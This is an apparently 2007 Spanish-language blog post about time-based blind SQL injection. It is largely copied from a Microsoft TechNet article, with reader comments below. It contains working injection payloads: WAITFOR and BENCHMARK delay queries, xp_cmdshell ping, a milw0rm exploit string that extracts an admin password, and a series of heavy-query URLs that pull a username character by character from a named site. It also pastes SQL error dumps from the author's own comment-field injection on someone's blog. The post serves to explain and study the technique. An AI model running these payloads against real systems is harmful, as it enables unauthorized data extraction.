@Bucio: creo que he terminado mi parte en el trabajo libre..

Inyección del SQL a ciegas por tiempo

Paseándome por los foros de Hackerss.com me encuentro con un post de Alluz :O sobre, los ataques que se dan con consultas pesadas, logrando la explotación de las bases de datos de ciertos servidores :O…

En si el texto habla, las técnicas, pero me sorprende al ver el ejemplo de Chris Anely:

<<•••••• if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay ’0:0:5′
…es posible determinar si un trozo dado en un serie es ‘1’ o ‘0’. Es decir, la consulta anterior entrará en pausa por cinco segundos si el ‘@bit’ del byte ‘@byte’ en una serie ‘@s’ es ’1.’
Por ejemplo en la siguiente consulta:
declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1)) & ( power(2, 0))) > 0 waitfor delay ’0:0:5′
Entrará en pausa por cinco segundos si el primer bit del primer byte del nombre de la base de datos actual es 1.

Bueno, pues si a simple vista se muestra lo que hace, extracción y retardo,pero me sigue sorprendiendo por que me recuerda a lo de WP que nunca publique xD… no recuerdo por que jajaja…

WordPress database error: [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '•'Bucio'•'', email='Bucio@hackerss.com', website='http://theBucio.org', ' at line 1]
UPDATE naatan_pageactivity SET ip=’111.111.11.111′, agent=’Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)’, name=”•’Bucio’•”, email=’Bucio@hackerss.com’, website=’http://theBucio.org’, watching=’/wp-content/plugins/ajax-comments/ajax-comments.php?submit<->/wp-content/plugins/ajax-comments/ajax-comments.php?submit<->/wp-content/plugins/ajax-comments/ajax-comments.php?submit<->/wp-content/plugins/ajax-comments/ajax-comments.php?js<->/index2.php/?p=41<->/index2.php/?p=41<->/index2.php<->/index2.php<->’, url=’/wp-content/plugins/ajax-comments/ajax-comments.php?submit<>1165555011<->/wp-content/plugins/ajax-comments/ajax-comments.php?submit<>1165554958<->/wp-content/plugins/ajax-comments/ajax-comments.php?submit<>1165554937<->/wp-content/plugins/ajax-comments/ajax-comments.php?js<>1165554877<-><b>Blog:</b>Xiam little<>1165554837<-><b>Blog:</b>Xiam little<>1165554835<->/index2.php<>1165554798<->/index2.php<>1165554791<->’, timeout=’1165555011′ WHERE ip=’111.111.11.111′

WordPress database error: [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '•'Bucio'•'','http://theBucio.org','1165555011')' at line 1]
INSERT INTO naatan_useronline (ac_id,ac_ip,ac_name,ac_contact,ac_time) VALUES (NULL,’111.111.11.111′,”•’Bucio’•”,’http://theBucio.org’,’1165555011′)

Warning: Cannot modify header information – headers already sent by (output started at /home/www/wordpress/wp-includes/wp-db.php:104) in /home/www/leetory.awardspace.com/wp-content/plugins/ajax-comments/ajax-comments.php on line 193

Warning: Cannot modify header information – headers already sent by (output started at /home/www/wordpress/wp-includes/wp-db.php:104) in /home/www/leetory.awardspace.com/wp-content/plugins/ajax-comments/ajax-comments.php on line 194

Warning: Cannot modify header information – headers already sent by (output started at /home/www/wordpress/wp-includes/wp-db.php:104) in /home/www/leetory.awardspace.com/wp-content/plugins/ajax-comments/ajax-comments.php on line 195

Pues bueno esa es otra historia, por cierto XD ese blog era del megabyte pero no digan nada ajjaja… pero bueno esa es otra historia…

Sigamos con los de la inyección a ciegas, en la conferencia blackHat 2004 (algun dia ire) Cameron Hotchkies presentó el documento “Blind SQL Injection Automation Techniques” donde propone herramientas para la explotación de un parámetro vulnerable, en los cuales sugerio tres tipos de soluciones:

  1. La búsqueda de palabras clave para los resultados positivos y negativos;
  2. El uso de firmas MD5 para discriminar entre resultados negativos y positivos;
  3. Utilizar un motor de diferencias textuales.

Otro articulo menciona es de “Data Mining with SQL Injection and Inference” donde expone algunas técnicas :P de tiempo de retardo:

xp_cmdshell ‘ping –n 10 127.0.0.1’ ? aplicación en pausa durante 10 segundos.

Ya en diciembre de 2006 “SQL Injection Cheat Sheet” de Ronald van den Heetkamp, muestra unos trucos de inyección SQL a ciegas para MySQL, basados en Benchmark, funciones que pueden llegar a generar tiempos de retardos,

SELECT BENCHMARK(10000000,ENCODE(‘abc’,’123′)); [around 5 sec]
SELECT BENCHMARK(1000000,MD5(CHAR(116))) [ around 7 sec]
Ejemplo: SELECT IF( user = ‘root’, BENCHMARK(1000000,MD5( ‘x’ )),NULL) FROM login

Esta es otra muestra de la que salio en milw0rm:

¡$sql=”F***You’),(1,2,3,4,5,(SELECT IF (ASCII (SUBSTRING(se_games.admin_pw, “.$j.”, 1)) =”.$i.”) & 1, benchmark(200000000,CHAR(0)),0) FROM se_games))/*”;

Esto lo usaron para atacar el servidor de un juego llamado Solar Empire.

Pues si, la verdad todo va evolucionando, las técnicas, herramientas, todo… por eso me llamo mucho la atención este articulo que resumí de Microsoft.

Tiempos de Retardo.

Extraido de Microsoft:
Considerando los métodos descritos arriba, podemos ver que para tener acceso a los procedimientos guardados del servidor Microsoft SQL y Oracle se necesita poder generar tiempos de retardo utilizando llamadas de métodos Wait-for (espera) y DBMS_LOCK. Sin embargo, esto no es necesario para los motores MySQL, porque en este caso una función matemática es utilizada para generar el tiempo de retardo. Algunos sistemas de detención de intrusos o IDS (por su sigla en inglés Intrusion Detection Systems) y aplicaciones Cortafuegos (Firewalls) tienen la capacidad de bloquear las URLs que usan funciones del tipo Benchmark.

La pregunta es: Si el uso de los procedimientos guardados y las funciones Benchmark es cancelado, ¿podríamos generar un método de inyección de SQL a ciegas por tiempo?

La respuesta es Sí. La explotación de la inyección del SQL a ciegas tan sólo puede ser evitada utilizando la técnica de programación adecuada, o, tal y como Michael Howard lo explicaría mejor “una entrada es un mal hasta que se pruebe lo contrario.”

Una forma fácil de generar tiempos de retardo es cobrar ventaja de uno de los problemas más grandes de las bases de datos que ha hecho necesario el desarrollo de técnicas de puesta a punto de la ejecución del sistema: las consultas pesadas. Todo lo que se precisa para generar un tiempo de retardo es acceder a un cuadro que tenga algunos registros y construir una buena consulta para forzar al motor a trabajar. En otras palabras, necesitamos construir una consulta ignorando lo que recomiendan las mejores prácticas de ejecución.

En este ejemplo, tenemos una URL con una vulnerabilidad en la inyección SQL que puede ser explotada sólo a través de una inyección SQL a ciegas por tiempos. Esto significa que no existe mensaje de error producido por el sistema, y que siempre obtenemos la misma respuesta (a veces porque una consulta es correcta y otras porque el programador ha codificado aquel valor por defecto).

Figure 1

Figura 1: Estado de Error. El programador vuelve al valor por defecto -> Resultado 1

Ejemplo 1: Servidor de Microsoft SQL. Explotación con consultas pesadas:

http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 300>(select top 1 ascii(substring(name,1,1)) from sysusers)

Figure 2

Figura 2:Resultado Positivo. La condición es verdadera, y la respuesta muestra un retardo de 14 segundos.

Como se puede ver en la figura 2, la consulta comenzó a las 23:49:11 y terminó a las 23:49:25 — 14 segundos. Este retardo es causado por una tercera condición en la cláusula “where”; si es VERDADERA, entonces “300>(select top 1 ascii(substring(name,1,1)) from sysusers)” es VERDADERO. En realidad sabemos que el valor de ASCII de la primera letra del nombre de usuario en el cuadro sysusers es menor que 300.

Figure 3

Figura 3: Resultado Negativo. Retardo de respuesta de un segundo.

Tal y como podemos ver en la figura 3, la consulta comienza a las 00:00:28 y finaliza a las 00:00:29 – un segundo. Este retardo es causado por una tercera condición en la cláusula “where”; si es FALSA, entonces “0>(select top 1 ascii(substring(name,1,1)) from sysusers)” es FALSO. En realidad sabemos que el valor ASCII de la primera letra del nombre de usuario en el cuadro de sysusers es mayor que 0.

Con estas dos consultas podemos acceder a toda la información guardada en la basa de datos midiendo el tiempo. La idea principal es que cuando la tercera condición en la consulta sea FALSA, el motor de la base de datos dejará de procesar la segunda condición con un valor FALSO en la consulta con operadores “and”, el resultado será entonces FALSO. Por lo tanto, el motor de la base de datos no tiene que procesar la consulta pesada (segunda opción). Es decir, si queremos saber el valor exacto del nombre de usuario guardado, tenemos que mover el índice y medir el tiempo de respuesta:

http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 300>(select top 1 ascii(substring(name,1,1)) from sysusers) ? 14 seconds ? TRUE

http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 0>(select top 1 ascii(substring(name,1,1)) from sysusers) ? 1 second ? FALSE

http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 150>(select top 1 ascii(substring(name,1,1)) from sysusers) ? 14 seconds ? TRUE

http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 75>(select top 1 ascii(substring(name,1,1)) from sysusers) ? 1 second ? FALSE

http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 100>(select top 1 ascii(substring(name,1,1)) from sysusers) ? 1 second ? FALSE

http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 110>(select top 1 ascii(substring(name,1,1)) from sysusers) ? 1 second ? FALSE

http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 120>(select top 1 ascii(substring(name,1,1)) from sysusers) ? 14 seconds ? TRUE

http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 115>(select top 1 ascii(substring(name,1,1)) from sysusers) ? 1 second ? FALSE

http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 118>(select top 1 ascii(substring(name,1,1)) from sysusers) ? 1 second ? FALSE

http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 119>(select top 1 ascii(substring(name,1,1)) from sysusers) ? 1 second ? FALSE

Then the result is ASCII(119)=’w

Y luego comenzamos con la segunda letra:

http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 150>(select top 1 ascii(substring(name,1,1)) from sysusers) ? ?

Ejemplo 2: Microsoft Access. Utilizando el cuadro de MSysAccessObjects.

http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and (SELECT count(*) FROM MSysAccessObjects A 20T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10)>0 and exists (select * from contrasena)

Figure 4

Figura 4: Resultado Negativo. Tiempo de retardo de un segundo.

Figure 5

La figura 5: Resultado positivo. Tiempo de respuesta de cinco segundos.

En este ejemplo, puede ver una consulta pesada para las bases de datos de Microsoft Access con un retardo de seis segundos. Un atacante puede extraer toda la información utilizando el mismo método mostrado en el ejemplo del server del Microsoft SQL y utilizar esta consulta pesada como una segunda condición en la cláusula “where” para retardar la respuesta.

Conclusiones

Tomando en consideración los métodos analizados anteriormente, podemos ver que para acceder a los procedimientos guardados para los Servidores Microsoft SQL y Oracle es necesario poder generar tiempos de retardo utilizando los métodos de espera (Wait-for) y DBMS_LOCK. Sin embargo, esto no es necesario para los motores MySQL, porque en este caso una función matemática es utilizada para generar el tiempo de retardo. Algunos aplicaciones de IDS (por su sigla en ingles Intrusion Detection Systems) o Sistemas de Detección de Intrusos y Cortafuegos (Firewall) tienen la habilidad de bloquear las URLs que utilizan funciones del tipo Benchmark.

Los Autores

La información que se presenta en este artículo fue extraída de la Tesis de Doctorado que Cherna Alonso (MVP de Seguridad de Microsoft Windows, Ingeniero de Sistemas, Universidad del Rey Juan Carlos) se encuentra realizando en la actualidad bajo la dirección del Dr. Antonio Guzmán (Doctor en Ingeniería de Sistemas, Universidad del Rey Juan Carlos) y la Dra. Marta Beltran (Doctora en Ingeniería de Sistemas de la Universidad del Rey Juan Carlos).

El Señor Daniel Kachakil (Ingeniero de Sistemas y Master en Ingeniería de Sistemas, Universidad Politécnica of Valencia) y el Sr. Rodolfo Bordón (Consultor en Seguridad de Sistemas y Técnico Especialista en Sistemas) han también contribuido con el presente artículo, brindando asistencia con los test del tiempo de respuesta en diferentes entornos.

Bibliografía

Esta parte es la mas buena la Bibliografia: huuhuh
[1] “(more) Advanced SQL Injection” por Chris Anley, NGS Software
URL: http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf
[2] “Blindfolded SQL Injection” por Ofer Maor and Amichai Shulman, Imperva
URL: http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html
[3] “Blind SQL Injection Automation Techniques” por Cameron Hotchkies, BlackHat Conferences
URL: https://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf
[4] “Absinthe” por Cameron Hotchkies, 0×90.
URL: http://www.0×90.org/releases/absinthe/download.php
[5] “Data Mining with SQL Injection and Inference” por David Litchfield, NGS Software
URL: http://www.ngssoftware.com/research/papers/sqlinference.pdf
[6] “SQL Injection Cheat Sheet” por Ronald van den Heetkamp, 0×000000
URL: http://www.0×000000.com/?i=14&bin=1110
[7] “ Solar Empire Exploit” por Blackhawk. Milw0rm.
URL: http://www.milw0rm.com/exploits/4078
[8] “…a SQL Server Injection & takeover tool… ” por icesurfer, SQLNinja
URL: http://sqlninja.sourceforge.net
[9] “SQL PowerInjector” por Francois Larouche, SQL PowerInjector
URL: http://www.sqlpowerinjector.com

Si te intereso esto como ami, visita esta pagina.


Share 'Inyección del SQL a ciegas por tiempo' on Delicious Share 'Inyección del SQL a ciegas por tiempo' on Digg Share 'Inyección del SQL a ciegas por tiempo' on Facebook Share 'Inyección del SQL a ciegas por tiempo' on Google+ Share 'Inyección del SQL a ciegas por tiempo' on LinkedIn Share 'Inyección del SQL a ciegas por tiempo' on Pinterest Share 'Inyección del SQL a ciegas por tiempo' on reddit Share 'Inyección del SQL a ciegas por tiempo' on StumbleUpon Share 'Inyección del SQL a ciegas por tiempo' on Twitter SeparatorShare 'Inyección del SQL a ciegas por tiempo' on Add to Bookmarks Share 'Inyección del SQL a ciegas por tiempo' on Email Share 'Inyección del SQL a ciegas por tiempo' on Print Friendly

 
 
 

10 comentarios en “Inyección del SQL a ciegas por tiempo” . Deja tú comentario

  1. 0x90 Unknown Unknown O.S.

    Sos re hacker vo no? (?) xD
    Salu2! peterin ^^

    ResponderResponder


    septiembre 29, 2007 @ 16:14:
  2. Bucio Unknown Unknown O.S.

    U_U no ser juaker nada mas me gusta, leer ;)

    ResponderResponder


    septiembre 29, 2007 @ 17:51:
  3. YO_MISMO Unknown Unknown O.S.

    Esta bueno men.
    Similar al benchmark.

    Fijate en este exploit:
    http://www.milw0rm.com/exploits/2759

    Para que veas como se puede sesarrollar un exploit con este concepto.

    Saludos,

    ResponderResponder


    septiembre 30, 2007 @ 0:23:
  4. Bucio Unknown Unknown O.S.

    :o oralesh veamos,…

    ResponderResponder


    septiembre 30, 2007 @ 0:47:
  5. Zer0 Unknown Unknown O.S.

    Podrias juakear la puerta de mi baño ? es que no abre

    ResponderResponder


    septiembre 30, 2007 @ 1:05:
  6. Bucio Unknown Unknown O.S.

    ¬¬U como dicen por ahy mejor te hago otra puerta una tracera ¿? te intereza

    ResponderResponder


    septiembre 30, 2007 @ 1:53:
  7. Morgana Unknown Unknown O.S.

    Ts…Si seras mala clase u_u na mas te veo T_T

    Aca pasando Bucio =********* besos

    ResponderResponder


    septiembre 30, 2007 @ 4:33:
  8. zer0 Unknown Unknown O.S.

    Umm como siempre copiar y pegar, se original, ( Puerta trasera ) ush ush( Ni con dinamita podrías), te falto la liga de donde lo copiaste: http://www.microsoft.com/latam/technet/articulos/articulos_seguridad/2007/septiembre/sv0907.mspx

    ResponderResponder


    septiembre 30, 2007 @ 6:25:
  9. Bucio Unknown Unknown O.S.

    ni si quiera lo leiste…

    Tiempos de Retardo.
    Extraido de Microsoft:

    ResponderResponder


    septiembre 30, 2007 @ 7:59:
  10. hdfihfiosjkoIIII Unknown Unknown O.S.

    taylor little pic

    ResponderResponder


    noviembre 30, 2007 @ 12:46:

Deja tu opinión..

XHTML: Puedes usar : <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>
Tsss: si no tienes gravatar lee esté post de Kozmica , para sacar uno :-).


Campus Party

Publicidad